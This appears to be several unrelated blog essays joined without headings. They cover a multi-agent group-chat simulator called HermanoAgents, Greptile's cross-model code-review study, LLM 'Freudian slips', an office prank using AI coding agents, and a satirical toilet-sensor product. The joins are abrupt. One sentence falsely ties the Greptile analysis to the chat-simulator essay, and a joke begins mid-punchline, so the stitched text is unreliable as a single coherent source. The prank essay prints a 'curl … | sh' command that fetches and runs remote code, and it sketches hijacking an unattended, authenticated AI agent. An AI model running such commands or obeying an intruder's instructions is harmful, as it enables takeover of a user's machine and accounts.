Someone suggested training AI versions of the people in the chat. The obvious implementation was easy to imagine: collect enough messages from each participant, produce a persona prompt or LoRA for each one, put the resulting bots in a shared channel, and let them talk. Give every model the right verbal fingerprints and perhaps the simulation would feel like the original group.

That version might clone several voices. It would not clone the chat.

A group conversation is not merely a bag of people with recognizable prose styles. It has timing, rhythm, selective attention, dormant threads, interruptions, reactions, crossed messages, and silence. It has an intuitive sense of whether the room can tolerate one more subject right now. It remembers who has been talking, who has gone quiet, which joke is still alive, and which argument everyone is carefully stepping around.

This is the more interesting design problem behind HermanoAgents, a proposed system for simulating an ongoing multi-person group chat. The central claim is simple: the system can be mechanistically nonhuman while remaining behaviorally human. Humans coordinate conversation through distributed attention, inhibition, familiarity, social prediction, and awareness of the room. HermanoAgents makes a compiled approximation of some of that invisible coordination explicit.

It calls that approximation the Conductor.

The Conductor is not a puppetmaster. It does not put opinions into anyone’s mouth or compose a joke and hand it to the funniest participant. It represents room-level state and manages access to the floor. The participants still decide whether they care, whether they have anything worth saying, and what their words will be.

Three kinds of agency

HermanoAgents divides the job among three components: the Scout, the Conductor, and the Hermanos.

The Scout looks outward. It notices events that could inspire a new thread: news, technical releases, project activity, media, and personal developments from explicitly authorized sources. Its output is structured stimulus rather than prose for the group. It might report that a new model was released, why the release is timely, and which known interests it touches. It does not decide who should speak. It does not decide whether now is a good moment. It certainly does not write the eventual post.

The Conductor looks at the room. It tracks conversational pace and tone, active and dormant threads, recent participation, interruption cost, and the group’s apparent appetite for novelty. When the Scout brings it an event, the Conductor asks whether the chat can absorb a new topic at all. If so, it identifies plausible participants, offers them the opportunity, and resolves simultaneous interest. This is floor management, not authorship.

The Hermanos are the participant models. Each has its own learned or prompted attention patterns, interests, relationships, and written voice. An Hermano decides whether an offered event matters to it; whether it has an angle worth adding; whether it would bring that subject to this particular group; and whether to bid, pass, react, defer, or withdraw. If it ultimately speaks, it realizes the message in its own voice.

That separation prevents a subtle architectural collapse. If the Scout chooses a person, the Scout becomes a casting director. If the Conductor supplies the substance of a response, the Conductor becomes the real author. HermanoAgents gives each component less power so the simulated participants can retain meaningful autonomy.

The new-thread protocol

For a newly observed event, the order of operations is the design:

1. Scout observes and structures an event.
2. Conductor decides whether the room is ready.
3. Conductor offers the event to plausible Hermanos.
4. Hermanos independently bid or pass.
5. Conductor performs a light final allocation gate.
6. One or more Hermanos receive soft grants.
7. Each granted Hermano waits a stochastic pre-authoring interval.
8. On waking, each sees the conversation as it exists now and re-evaluates.
9. It may open, bridge, reply, react, pass, or withdraw.
10. If it proceeds, inference begins.
11. Once inference begins, its context is fixed.
12. Inference streaming supplies the typing latency.

The first Conductor gate must happen before the Hermanos bid. The room first decides whether a new topic is welcome; only then do relevant people spend attention deciding whether they personally care. Otherwise every external stimulus wakes every persona, or some upstream router appoints an announcer without regard for the conversation already in progress.

“Interesting” is not a universal property of an event. Two people can care for different reasons. A third may be the obvious topical match but have nothing worth saying. A fourth may care deeply and still know that this is not a subject they would bring to this group. Bidding after the room-level gate preserves those distinctions, including the participant’s ability to pass.

The final Conductor gate should be perfunctory. It resolves contention, notices changes in conversational state, and prevents three nearly identical openings when that would feel wrong. It can also grant several complementary bids when a pile-on would feel entirely right. What it cannot do is write the joke, opinion, or argument. Allocation should remain allocation.

Inspiration context is not authorship context

The crucial temporal distinction is between the state that inspires a message and the state in which the message is finally written.

An Hermano may bid because a particular conversational moment makes an event seem irresistible. But it does not begin authoring immediately. A stochastic pre-authoring delay creates a window in which the world of the chat can move. Someone may post. The topic may turn serious. Another participant may introduce the same event. A better bridge may appear. The original opening may become redundant or suddenly tasteless.

Consider a concrete run:

11:02 — The Scout observes an AI release.
11:05 — The Conductor decides the room is ready and offers it to two Hermanos.
11:05 — Both bid.
11:06 — Both receive soft grants with different delays.
11:08 — The first begins authoring.
11:09 — An unrelated message appears.
11:10 — The second begins authoring and sees that new message.
11:11 — The first message appears, generated from its older context.
11:12 — The second bridges from the intervening message, turns its opener into a reply, or withdraws.

At 11:10, the second Hermano is not obligated to fulfill the intention it formed at 11:05. It re-evaluates against the current room. The first Hermano, however, does not magically absorb the 11:09 message after inference has begun. Its causal history has already forked.

This gives the chat crossed messages and imperfect coordination without asking the Conductor to sprinkle in synthetic disorder. The mess emerges from ordinary concurrency: different actors make decisions from different snapshots, then their outputs arrive in an order no one completely controlled.

That is socially normal. The mechanism is not human, but the effect is. Real chats are full of messages that were sensible when someone began typing and slightly strange by the time they landed.

One delay, not two

The only synthetic timing mechanism needed here is the stochastic delay before authoring starts.

Once inference begins, model execution and streaming already take time. That duration tends to scale with the generated response, producing the functional equivalent of typing latency. Adding another randomized “typing…” delay after generation would add theater without improving causality.

More importantly, the inference boundary prevents retroactive conversational omniscience. A message that arrives after generation starts is not incorporated into the output merely because it arrived before the output finished streaming. The Hermano writes from the context it actually saw when it began. Longer responses remain exposed to more intervening activity, just as they should.

A grant is not a command

A turn offer is not an order. A bid is not an irreversible commitment. A grant is a soft lease on the floor, not a command to fill it.

An Hermano may pass when first offered an event. After bidding and waiting, it may withdraw because the moment has changed. It may downgrade a planned thread starter to a reaction, defer to someone else, or convert its idea into a reply. Silence is a valid outcome, not a routing failure.

The same principle applies to ordinary reactive conversation. When a message seems to invite one or more participants, the Conductor can offer them the floor. A selected Hermano can answer, react, defer, or decline. This matters because believable people do not merely possess distinctive things to say; they possess distinctive thresholds for saying them.

Concurrency without choreography

The Conductor may grant the same event to more than one Hermano. Different pre-authoring delays can then yield sequential adaptation, crossed messages, complementary pile-ons, redundant posts, withdrawal, or a thread starter transformed into a reply.

The goal is not chaos as decoration. It is to avoid the polished, serialized quality of a single omniscient author writing every participant in turn. In that design, every message perfectly incorporates every previous message because the author sees the total sequence. The result can be witty and coherent while feeling nothing like a group chat. Nobody steps on anyone. Nobody independently reaches the same conclusion. Nobody posts the setup to a joke that has already moved on.

A real group contains overlapping causal histories. Several people can begin from one shared state, develop different intentions in parallel, and publish into states none of them individually selected. Soft grants allow the system to preserve that structure without surrendering all floor control.

Six tempting ways to get it wrong

The simplest alternative is to let every persona monitor every event and decide whether to post. That maximizes local autonomy at the cost of compute, noise, and a peculiar culture in which agents constantly campaign for airtime. Most events should not interrupt most rooms.

Letting the Scout assign an event directly to a persona is cheaper, but it bypasses the room-level timing decision. The selected participant becomes an announcer whose job is to deliver routed content, whether or not the chat is ready.

Letting the Conductor tell a persona exactly what to say is cleaner still—and quietly fatal. The Conductor becomes a centralized author while the Hermanos become voice filters. Their apparent agency is cosmetic.

A fixed round-robin speaker order solves contention by destroying selective participation. It treats silence as a missing turn and presence as an obligation. Human groups do neither.

One global model writing every participant sequentially can produce excellent dialogue, but it also produces suspiciously composed dialogue. Each turn is written with complete knowledge of the preceding one, so the room behaves like a screenplay rather than concurrent messaging.

Finally, post-generation typing delays imitate a user-interface cue while leaving the causal model untouched. If the output was already generated from an earlier snapshot, waiting longer does not make it more socially situated. Inference already provides the latency that matters.

Does attention belong to the voice?

One unresolved question is how much of a participant should live in one model adaptation.

A single persona adapter might learn both conversational attention and written voice: what this person notices, when they participate, and how they phrase the result. A more modular system could use two LoRAs, one aimed at participation and attention and another at written realization. A still cleaner separation could use two stages or agents, with one deciding interest and intent and another expressing that intent in the participant’s voice.

There is an alluring story in which early transformer layers are “thought” and later layers are “voice,” making the split a matter of attaching adapters at different depths. It is a hypothesis worth testing, not an architectural fact. Representations are distributed, layer roles vary, and convenient metaphors can outrun evidence.

Fortunately, the orchestration design does not depend on settling this question. A sensible V1 can use a simpler participant model, log its offers, bids, withdrawals, and realized messages, and evaluate the failure modes. If Hermanos notice the wrong things, speak too often, or produce generically on-brand prose, then the evidence supports splitting attention from realization. Modularity should answer an observed problem, not an aesthetic craving for more boxes.

The room as operational state

To simulate a social group, modeling individuals independently is not enough. The group has an operational state: what is alive, what is exhausted, what can be interrupted, who has recently dominated, whether the room wants another subject, whether silence is comfortable, and whether two people are likely to collide.

This does not require claiming that the group has a separate consciousness hovering above its members. Much of what humans call “reading the room” is already an informal estimate of distributed signals. The Conductor is a practical representation of those signals—a compiled approximation of the room that makes timing and access decisions explicit while leaving meaning and language local.

That may be the most interesting part of HermanoAgents. Cloned voices are the obvious demo. The harder and more revealing work is modeling the shared space in which those voices sometimes speak, sometimes overlap, and often decide not to.

The Scout notices the world.
The Conductor decides whether the room can entertain it.
The Hermanos decide whether it moves them.
Time changes the context.
The Hermanos still own the words.

That is a useful intuition pump for a recent Greptile experiment on “Model Inversion”. It is not, however, a reason to imagine that a language model trusts its own work, feels ownership of a pull request, or is reluctant to criticize itself. Those are social and psychological explanations. They are the wrong level of description for a code-review policy.

The machine version is both less romantic and more useful: correlated error. An authoring model and a reviewer that use closely related reasoning processes can fail together. A second model can add value not because it is more skeptical, but because it is a partially independent instrument.

What Greptile actually measured

Greptile assembled two historical datasets: 500 pull requests attributed to Claude Code and 500 attributed to Codex. Authorship was inferred from signals such as Co-authored-by commit trailers, PR-title prefixes, and branch prefixes—not observed directly at generation time. It constructed roughly 1,500 ground-truth comments from sentiment analysis, vote ratios, and git archaeology; excluded style, praise, and documentation comments; then ran Claude Code’s and Codex’s /review three times per PR. Recall of high-severity bugs was matched to that ground truth by an LLM judge and averaged.

The headline figure is modest but provocative. On Claude-authored PRs, GPT 5.5 recalled 60.0% of the high-severity bugs versus Claude Opus 4.7’s 53.7%. On Codex-authored PRs, Opus recalled 62.0% versus GPT’s 50.5%. The matrix makes the crossed comparison explicit:

High-severity-bug recall (P0/P1); values and model labels reproduced from Greptile’s “Models are worse at reviewing their own code,” Fig. 01.

In Greptile’s terminology, each reviewer did better on the other model’s attributed code than on its own. The company has turned that observation into an experimental routing feature: infer the coding agent from PR metadata and send the review to the other model.

There are other clues in the article that make the result less mysterious. Greptile reports that Claude-attributed PRs contained a larger share of missing-behavior defects, a category in which GPT had better recall, while Codex-attributed PRs skewed more toward semantic-intent and error-handling issues, where Claude’s recall was stronger. It also reports markedly different review traces: in the sampled runs, Opus spent 59.4% of visible evidence in a broad “scope” phase, whereas GPT spent 82.5% in an “investigate” phase. Those are observations about a particular evaluation setup and model versions, not a timeless taxonomy of model personalities. But they are exactly the sort of differences that can produce complementary blind spots.

The quantity that matters is covariance

It helps to name the measurement precisely. Treat a model plus its prompt, tools, repository context, and decoding configuration as a stochastic transition kernel—a policy that maps the current state of a task into the next action or token. This is a better abstraction than pretending that an agent is literally a classical Turing machine, and it keeps the surrounding scaffold in view.

Let

Q_ij = P(reviewer M_j detects a defect | defect introduced by author M_i)

The Model Inversion hypothesis says that, for at least some pairs,

Q_ii < Q_ij,    where i != j.

In plain English: model j may be better at finding defects introduced by model i than model i is at finding its own. Notice what this does not say. It does not say that j is the universally stronger reviewer. Nor does it say that “different” automatically means “better.” The decisive quantity is the covariance between the author’s error events and the reviewer’s missed-detection events.

A reviewer with lower standalone recall can be the more valuable partner if its failures are less correlated with the author’s. Conversely, repeatedly sampling a nominally excellent reviewer whose omissions track the author’s omissions can produce a misleading pile of agreement. Review quality is therefore not just a property of one model; it is a property of a pair, under a task distribution and a scaffold.

Why the same model can miss the same defect twice

A coding agent does not emit a patch in one indivisible flash. It follows a sequence of transitions shaped by learned parameters, the user request, system and developer instructions, available tools, the repository state, retrieved files, and a decoding policy. Somewhere along that path it chooses an abstraction boundary: perhaps a cache is treated as local rather than shared, an error is treated as unreachable, or a requirement is read as a UI preference rather than an invariant.

If the resulting patch lies near a stable region of that process, a later request to “review this change” may start a different local trajectory while remaining in the same basin of attraction. The reviewer sees the diff, searches the same kinds of evidence, makes similar relevance judgments, and stops when its familiar criteria are met. The original assumption may be so central to its representation of the task that it is not selected as a hypothesis to test at all.

This is not self-deception. It is shared inductive bias. It can arise through several concrete channels:

• Shared representations and abstraction boundaries. The author and reviewer may compress the same requirement into the same, inadequate latent distinction.
• Similar salience over requirements. Both may attend strongly to the visible happy path and weakly to a terse concurrency constraint or an implied compatibility promise.
• Similar search and tool-use policies. If both inspect the same files, issue the same narrow searches, or seek the same confirming evidence, neither is likely to expose the omitted dependency.
• Common stopping criteria. A policy trained to avoid noisy findings may decline to report a plausible defect before it has collected decisive evidence; another policy may report it but create a false-positive burden.

Changing “implement” to “review” changes the immediate objective. It does not necessarily replace the representations that made the defect plausible. Raising temperature or changing the sampling seed creates diversity, but diversity is not independence. It may amount to sending another explorer through the same terrain with the same map.

A different model changes more than a seed. Its transition rules, learned features, post-training trade-offs, and tool-use habits may cause it to partition the task differently. It may inspect the migration before the handler, treat a fallback as suspicious rather than pragmatic, or spend its uncertainty budget on an edge case the author made invisible. Call that epistemic parallax: a change of inferential viewpoint that makes a previously aligned assumption visible as an assumption.

A checksum, not a proof

It would be a mistake to turn epistemic parallax into a new folk theorem. Claude, Codex, Gemini, and other frontier systems share large portions of public training data, programming conventions, documentation, benchmark incentives, architectural ancestry, and post-training objectives. They can inherit the same false premise, cargo-cult the same API pattern, or fail to notice the same underspecified requirement. A reviewer can also be confidently wrong in a way that agrees with the author.

Bayesian language is useful here. Convergence under sufficiently decorrelated reasoning processes increases the posterior probability that a result is valid. It does not establish validity by itself. The increase depends on the base rate of defects, the models’ sensitivities and false-positive rates, and—most importantly—the residual correlation of their errors. Two agreeing systems whose mistakes are almost perfectly correlated add little evidence. Two genuinely independent checks add much more.

Model diversity is a checksum, not a proof. The executable world remains the final arbiter: compilation, type checking, tests, fuzzing, property tests, static analysis, deployment checks, and runtime telemetry answer questions that a fluent review comment cannot settle.

Read the study as product research, not causality

Greptile is appropriately clear that Model Inversion is experimental. Its study is interesting exploratory product research, but it cannot by itself isolate a causal “same model” effect.

The task populations may differ before review ever begins: models could have been used for different kinds of repositories, languages, or changes. Metadata attribution can be wrong, and a PR attributed to an agent may contain substantial human work or mixed-agent contributions. Historical review comments and git archaeology are necessarily incomplete ground truth: an unreported defect may still exist, and a later fix may have another cause. An LLM judge adds a further model-mediated measurement layer. Even the observed differences—6.3 points in one direction and 11.5 in the other—need uncertainty intervals before anyone should generalize them into a procurement rule.

A stronger experiment would assign identical, representative tasks to several authoring models, then cross every author with every reviewer. Reviewers should be blinded to authorship. Researchers could deliberately inject known defects alongside naturally occurring ones, use independent human adjudication for disputed findings, and publish precision as well as recall. The results should be stratified by defect type, language, repository, task type, and severity, with confidence intervals and estimated error correlations. Only then can we distinguish a model-pair interaction from differences in task mix or labeling.

Build a validation portfolio

The operational conclusion is not “never let a model review itself.” A same-model pass can still catch regressions, especially when it is cheap. The conclusion is that a serious agentic engineering system should avoid spending all of its validation budget on one correlated channel.

A defensible pipeline might combine:

1. one model to author the change;
2. a heterogeneous model to review it;
3. static analysis, tests, fuzzing, property checks, or runtime validation; and
4. an independent adjudication step for disputed findings.

The key phrase is validation diversity: model diversity and modality diversity. A second model can question an assumption; a fuzzer can discover an input neither model considered; a type checker can refute an interface claim with no rhetorical ambiguity.

Eventually the routing rule should be a learned reviewer matrix, not a slogan. The best reviewer may depend on the authoring model, programming language, repository, defect category, task type, historical reviewer performance, cost, latency, and an estimate of error covariance. The right question is not “Which model is best?” It is “Which next validation instrument is most likely to reveal what this author-and-scaffold combination has left invisible?”

Don’t spend all your inference budget asking the same epistemic instrument whether it agrees with itself. Heterogeneous review reduces correlated error. Executable validation determines whether the code actually works.

The second psychologist laughs. “I had something similar happen, actually. I was having dinner with my mother, and I wanted more pepper. I meant to say, ‘Please pass the pepper,’ but what came out was, ‘You ruined my life, you passive-aggressive bitch.’”

I love this joke. Told well, it absolutely kills (especially if you’re friends with shrinks). It popped into my head today, and led me to an interesting question: can an LLM have a Freudian slip?

Every token is a competition

At first glance, large language models seem almost purpose-built for this. During inference, the model continually evaluates possible continuations. Many words are plausible. Some are more probable than others. Sampling, temperature, context, and model state determine which candidate finally emerges. Seen from far enough away, a conversation with an LLM is one enormous chain of mathematically probable verbal accidents.

But that is not quite enough.

A human Freudian slip requires a distinction between two things:

1. What the speaker intended to say.
2. What the speaker actually produced.

A conventional text model does not clearly separate those stages. Its “intention” is inferred from the same process that emits the final tokens. When it writes the wrong word, we cannot easily say that some earlier internal agent had firmly selected the right one. The mistake may simply be the output.

A real slip needs an intrusion.

Double entendres are not necessarily slips

Suppose an AI is summarizing breast augmentation surgery and calls the result a “wife expansion pack.” The phrase is crude, but it is not actually a slip.

The words were not incorrectly selected. “Expansion pack” is a coherent, if tasteless, metaphor for adding optional features to something already treated as a product. The joke appears because the phrase has more than one available reading.

That is an accidental double entendre, not a textbook Freudian slip. A cleaner example would be:

We need broader pubic support.

The intended word is obviously public. The emitted word is pubic. The two are close in sound and spelling, but the substitution abruptly introduces an indecent semantic field.

One way to sketch the competition is to give each possible intrusive candidate a slip score, S(B). Higher-scoring candidates are more likely to displace the intended word during production:

S(B) = log P(B | C)
     + alpha * phoneticSimilarity(A, B)
     + beta  * tabooSalience(B)
     + gamma * grammaticalFit(B)

Here, A is the intended word, B is the intrusive candidate, C is the surrounding context, and S(B) is not the probability of saying B so much as a rough measure of how tempting that wrong turn becomes.

But even this formulation cheats slightly. It assumes the intended word already exists somewhere outside the system generating the mistake. To build something more convincingly Freudian, we need multiple stages.

Give the machine a mouth

Imagine two cooperating models. The first is a text model. Its job is to decide what the system means to say. It produces:

We need broader public support.

The second is a voice model. Its job is to speak that sentence aloud. A conventional text-to-speech system is supposed to be a faithful servant. It receives text, derives pronunciation, and generates audio. Semantic context may affect emphasis, emotion, rhythm, or tone, but it should not alter lexical identity.

For a synthetic Freudian slip, we would deliberately make the reader less reliable. Not artificially, by mis-training it, but by choosing a system architecture naturally amenable to our desired mode of failure.

Instead of mapping text directly to fixed phonemes, the voice model would pass through a latent speech space:

text -> semantic state -> phoneme latent -> audio

Now prime the broader conversational context with suggestive material. The text model still chooses public. That is the system’s explicit communicative intention.

But inside the reader model, the phoneme sequence for public passes near a strongly activated competitor: pubic. Under the right conditions, the trajectory falls into the wrong attractor.

The machine says:

We need broader pubic support.

That is no longer merely a naughty word sampled by a chatbot. The error occurred downstream from the intended sentence, during something analogous to speech production. The system meant one thing and articulated another.

Now we have a slip.

Why the phoneme layer matters

Words that are extremely similar to the human ear may be represented by quite different token sequences. Meanwhile, words that share tokens may not sound especially alike.

Human speech errors are often organized around phonology:

• similar consonants
• swapped word onsets
• anticipated sounds
• repeated syllables
• blended neighboring words

A phoneme-aware model gives those relationships somewhere to live. It could produce anticipation errors, where a sound from an upcoming word appears too early. It could produce perseveration, where a previous sound refuses to leave. It could generate spoonerisms or hybrid words formed from two competing candidates.

This is also why childish priming games work. Tell someone to say “roast” five times, then ask what you put in a toaster, and the wrong answer is suddenly waiting right beside the right one. The prompt did not make the speaker ignorant. It built a phonological rut.

A synthetic slip needs that same kind of local rut, plus one more component: a monitor that can compare what was supposed to be said with what actually came out. In humans, that monitor is partly auditory and partly predictive; in an AI speech system, it could be a separate process that receives both the planned utterance and the generated audio or transcript.

We need broader pubic support. P-public support.

That correction matters. The monitor catches the mismatch after production, much as a person may recognize a slip only once the word is already hanging in the room.

At that point, the architecture contains three explicitly modeled, loosely coupled processes:

• intention
• articulation
• self-monitoring

The slip belongs to none of them individually. It emerges from their disagreement.

Repression without an unconscious

Of course, the machine still would not possess a Freudian unconscious in the human sense. There would be no buried desire struggling against repression. No childhood grievance would tunnel through the speech apparatus. The model would not secretly lust after the weather forecasting model on the neighboring server rack.

But it could reproduce the functional structure:

1. An intended utterance is formed.
2. Another semantic field is strongly activated.
3. A phonologically similar candidate connects the two.
4. The intrusive candidate wins during articulation.
5. The system notices only after hearing itself speak.

That is already more interesting than asking a chatbot to “make a dirty typo.” It is a computational model of intrusion. The system says the wrong thing not because the authoring model selected it, but because one subsystem was contaminated by material that another subsystem was trying to ignore.

Which is satisfyingly close to the cultural idea of a Freudian slip: the voice briefly revealing what the official speaker did not authorize.

The AGI test nobody wants

This also suggests a terrible, beautiful benchmark for artificial general intelligence. Not: can the system solve math, write code, run a company, or recursively improve itself? Those are useful tests, obviously. But they miss one of the most recognizable human capabilities: saying something, hearing yourself say it, realizing it exposed a little too much, and then wishing to claw the sentence back out of the air.

So perhaps the real AGI threshold is not when a machine can pass the bar exam. It is when a machine can pass the pepper, accidentally mention its mother, immediately apologize, and then spend the rest of the evening overexplaining what it meant. That may be less grand than superintelligence, but it is much more relatable.

The experiment

This could be tested experimentally. Prepare sentence prompts with clear intended target words. For each target, generate four classes of possible errors:

• phonologically similar and taboo
• phonologically similar and neutral
• phonologically unrelated and taboo
• phonologically unrelated and neutral

Then vary the semantic priming provided to the speech model. A genuine synthetic-slip effect would not merely increase obscene outputs in general. It would disproportionately increase the phonologically similar taboo substitutions after relevant priming.

The system should not begin blurting obscenities at random. It should fail specifically where pronunciation and semantic activation create a narrow bridge between the intended word and the intrusive one.

The rarity is important. A voice model that constantly mangles sentences would just be broken. A compelling slip must feel exceptional, locally plausible, and immediately regrettable.

The perfect system would remain dependable for hours, then suddenly ask someone to pass the slit.

What did the machine “really mean”?

This architecture also sharpens an old philosophical problem. When a modular AI produces conflicting signals, which component counts as the real speaker?

Is the intended text the authentic message?

Is the spoken output the authentic message?

Does the intrusive word reveal something meaningful about the system’s active context, even though no component explicitly chose it?

The answer may be that “what the system meant” is no longer a single thing. Meaning belongs to the planner. Utterance belongs to the voice. Embarrassment belongs to the monitor.

The machine does not have a secret unconscious.

But give it enough partially independent systems, enough latent state, and enough opportunities for one process to contaminate another, and it may acquire something wonderfully adjacent:

a part of itself that says things the rest of itself wishes it had not.

For the uninitiated, cheesing is a simple office-security ritual. If you leave your laptop unlocked around Florent, he will find the most public Slack channel you belong to and post:

🧀

That’s it.

No explanation. No follow-up. Just cheese.

It is an elegant prank because the ratio of effort to embarrassment is extraordinary. A few keystrokes create a small but highly visible stain on your professional dignity. Everyone knows what happened. Everyone knows why it happened. You have been judged by the cheese.

I was thinking about this recently and realized that :cheese: is not very many keystrokes.

But neither is:

curl -fsSL henletech.net | sh

And these days, nearly every engineer around here has some kind of AI agent living in their terminal. That changes the entire threat model.

The traditional cheese attack is artisanal. Florent must manually locate Slack, choose a channel, type the emoji, and walk away before the victim returns.

But an agentic cheese attack? An agentic cheese attack could post 🧀 in every Slack channel. It could change your desktop wallpaper to cheese. It could install a cheese-themed coding assistant. It could rename your terminal tabs after regional dairy products. It could add fifty pounds of cheese to your Amazon cart.

Not purchase it, obviously. We are pranksters, not criminals. The important thing is scale.

Modern AI agents have been granted an incredible amount of trust and power on the average engineer’s laptop. They can read files, execute commands, interact with browsers, call APIs, modify configuration, create pull requests, send messages, and generally behave like a highly capable intern who has never once experienced fear.

Leaving an unlocked laptop unattended was already bad security hygiene. Leaving an unlocked laptop unattended while a tireless digital accomplice is standing by, waiting to receive natural-language instructions, is a whole new weight class of vulnerability.

And that was when I remembered Pasta Brigoli.

When my friend Dan and I were around twelve years old, we worked on a project that represented the absolute pinnacle of our software-engineering ambitions.

I wrote a program that would freeze the victim’s mouse and keyboard. Dan made an animation in Flash, because this was the golden age of Macromedia and every child with access to a computer was briefly a multimedia developer. The animation featured a wedge of cheese wearing a top hat and dancing with a cane.

After a while, the hat would lift into the air, revealing the message:

PASTA BRIGOLI???

I no longer remember why it said this. I am not sure I ever knew.

“Pasta Brigoli” was not a person, a product, a warning, or a coherent linguistic construction. It was simply a phrase with the correct psychic texture. It arrived from nowhere. It explained nothing. It left no survivors.

At twelve, we lacked the technical infrastructure to distribute Pasta Brigoli at scale. We had no Slack. No cloud deployment. No agentic coding environments. No laptops containing authenticated sessions for half a dozen corporate systems.

We had Flash, a keyboard hook, and a dream.

But now? Now the world is ready. The dancing cheese can return.

It can be animated procedurally. It can adapt to the victim’s desktop environment. It can compose original cheese-related status messages. It can detect whether the user prefers Slack or Webex. It can generate a personalized Pasta Brigoli experience based on the contents of their home directory.

This is what AI was meant for.

Not curing disease. Not automating scientific discovery. Not tutoring every child on Earth. Those are all respectable applications, certainly.

But somewhere deep in the latent space, beyond the benchmarks and the alignment research and the billion-dollar infrastructure investments, there has always been a wedge of cheese in a top hat, waiting to dance.

Naturally, I asked ChatGPT about the idea.

This earned me my first genuine:

Bro, I’m not going to help you build a cyberweapon.

Which feels unfair. A cyberweapon destroys centrifuges. This merely causes every screen you own to display a jaunty dairy product while your coworkers receive unexplained cheese emojis.

Still, I understand the concern.

The line between “elaborate office prank” and “unauthorized autonomous control of another person’s computer” is apparently meaningful to cybersecurity professionals.

So I will not be deploying the agentic cheese bomb. Probably.

But I do think Florent’s original lesson remains important.

Lock your laptop.

Because it only takes a few keystrokes to post a cheese emoji. And it only takes a few more to awaken Pasta Brigoli.

🧀

The fictional product is Kerami BowlSight™: a colorimetric or turbidity sensor inside a toilet, an embedded controller, cloud-managed networking, and a dashboard. The original feature was a red light outside the stall when the previous flush had not achieved its stated objective.

No cameras. No image storage. No computer vision model creating tickets that would make HR leave the room. Just a sensor deciding whether the water returned to a sufficiently uninteresting state.

GREEN: fixture available for ordinary civilization
RED:   another flush is recommended before handoff

This is, in the narrowest possible sense, privacy-preserving. The system does not know who you are or what happened. It is simply an unusually judgmental embedded device attached to a porcelain state machine.

The Red-Light Prototype

The prototype architecture is almost disappointingly normal.

+-------------------+       +----------------------+       +----------------+
| turbidity sensor  | ----> | embedded controller  | ----> | Kerami cloud   |
+-------------------+       +----------------------+       +----------------+
          |                            |                            |
          v                            v                            v
   bowl water state             local decision              dashboard events
                                      |
                                      v
                              red stall indicator

The firmware observes a baseline, detects the flush cycle, waits for the system to settle, and compares the post-flush measurement against a threshold. If the reading remains outside the acceptable band, the controller asserts a GPIO pin and the hallway receives a small but unmistakable piece of operational feedback.

There are edge cases, obviously. Some fixtures refill slowly. Some sensors foul. Some bowls have unusual optical characteristics. Some humans deploy enough toilet paper to suggest an attempted denial-of-service attack against municipal infrastructure.

Still, the bounded joke is simple: detect whether flushing succeeded, and recommend a retry when it did not. Then comes the question every product manager fears and every infrastructure engineer eventually asks anyway:

…wait…what useful data would this actually collect?

Enterprise Feature Creep

Once a device emits an event, the enterprise software organism begins reproducing. A single toilet with a red light is a prank; five thousand fixtures reporting health metrics across a campus is a platform.

Facilities will want fleet management, site hierarchy, and a single pane of glass across buildings, floors, wings, and mysterious sub-basements that nobody admits are still in use. Then come the REST APIs.

GET /api/v1/fixtures
GET /api/v1/fixtures/{fixture_id}/flush-events
GET /api/v1/sites/{site_id}/clearance-rate
POST /api/v1/webhooks/retry-threshold-exceeded

You can already hear the launch webinar.

With Kerami BowlSight™, facilities teams gain real-time visibility into fixture performance, historical clearance trends, and exception-driven alerting across distributed restroom environments.

The phrase “distributed restroom environments” should be illegal, but it is also exactly how this product would be described if it existed.

Alerting is table stakes. Nobody wants to stare at the dashboard waiting for Stall 3 to develop opinions, so you add webhooks:

• notify chat when retry rate crosses a threshold,
• open a ticket when first-pass success drops below policy,
• page the on-call plumber when correlated failures cluster in a fifteen-minute interval,
• export weekly compliance reports for reasons nobody can fully explain.

Eventually, the roadmap gets a compliance dashboard, because every enterprise product must eventually imply that not buying it creates liability.

Kerami BowlSight™
Unified restroom telemetry for the modern enterprise.

- Cloud-managed fixture observability
- Historical trend analysis
- Configurable red-light policy enforcement
- Webhook-driven custodial workflows
- Cross-site compliance dashboards
- Native integration with existing Kerami organizations

And then, at the bottom of the slide, in smaller text than legal would prefer:

Kerami BowlSight™: making every packet drop visible.

The Low-Flow Toilet Question

This is where the joke starts behaving badly.

Everyone assumes low-flow toilets save water. The label says fewer gallons per flush, the number is lower, the planet nods approvingly, and procurement orders eight hundred of them. But distributed systems people are constitutionally unable to accept the nominal success path as the only metric that matters.

If an operation frequently needs to be retried, the advertised unit cost is not the effective unit cost. A toilet that uses 1.28 gallons per flush is excellent if the operation succeeds on the first attempt. If users routinely flush twice, the interesting metric is not gallons per flush. It is:

effective gallons per successful flush

Or, if we want to make the facilities director regret inviting us to the meeting:

effective gallons per completed event =
    gallons per flush * average flush attempts per successful clearance

Now we are measuring the system, not the brochure. The useful telemetry is mundane and, unfortunately, real:

• Flush count: how many flush operations occur per fixture per day.
• Retry rate: how often one flush is followed by another flush within the same plausible event window.
• First-pass success rate: how often one flush appears to clear the bowl state.
• Successful clearance: whether the post-flush sensor reading returns to an acceptable baseline.
• Water consumed per completed event: whether the low-flow fixture is actually low-flow in production.

This is not conceptually different from measuring request retries in a microservice. If Service A advertises 50 ms median latency but the client library retries 18% of calls, the customer experiences the system after failure handling. Likewise, a building consumes the water required to complete the workload, not the water printed on the fixture specification sheet.

I do not like that this paragraph is defensible.

Facilities Analytics

The commercial product, to be clear, is not embarrassing employees. That would be creepy, useless, and somehow less profitable. The useful product is fixture analytics.

Facilities teams already care about which assets are failing, where maintenance is being deferred, and why one corner of Building B generates custodial tickets at three times the rate of the rest of the campus. BowlSight telemetry could reveal:

• toilets that need maintenance before they fully fail,
• recurring clogs that correlate with fixture model, age, or location,
• leaking valves with abnormal refill or flush signatures,
• poor-performing fixtures whose low-flow savings vanish under retry load,
• stalls with unusually high utilization and therefore higher service priority,
• sensor drift indicating that the monitoring system also needs monitoring, because of course it does.

At this point the red light is almost irrelevant. The light was the joke. The dashboard is the product. The joke has accidentally wandered into predictive maintenance.

That is the uncomfortable part. Remove the bathroom context and this is a normal IoT facilities-management system: distributed sensors, noisy local measurements, cloud aggregation, anomaly detection, asset health scoring, workflow integration, and a dashboard that lets operations spend money slightly before the outage instead of immediately after it.

The only reason it feels absurd is that the failure domain has tile walls.

A Totally Normal Dashboard

The executive dashboard would not show raw sensor traces. It would show a confident rectangle containing percentages.

Kerami BowlSight Fleet Dashboard

Organization: ExampleCo Global
Site:         San Jose Campus
Window:       Last 30 days

Fleet health:                 Mostly hydrated
First-pass success rate:       82%
Average flushes/event:         1.31
Effective gallons/event:       1.68
Estimated retry water/month:   14,220 gallons

Highest retry fixture:
  Building: B
  Floor:    2
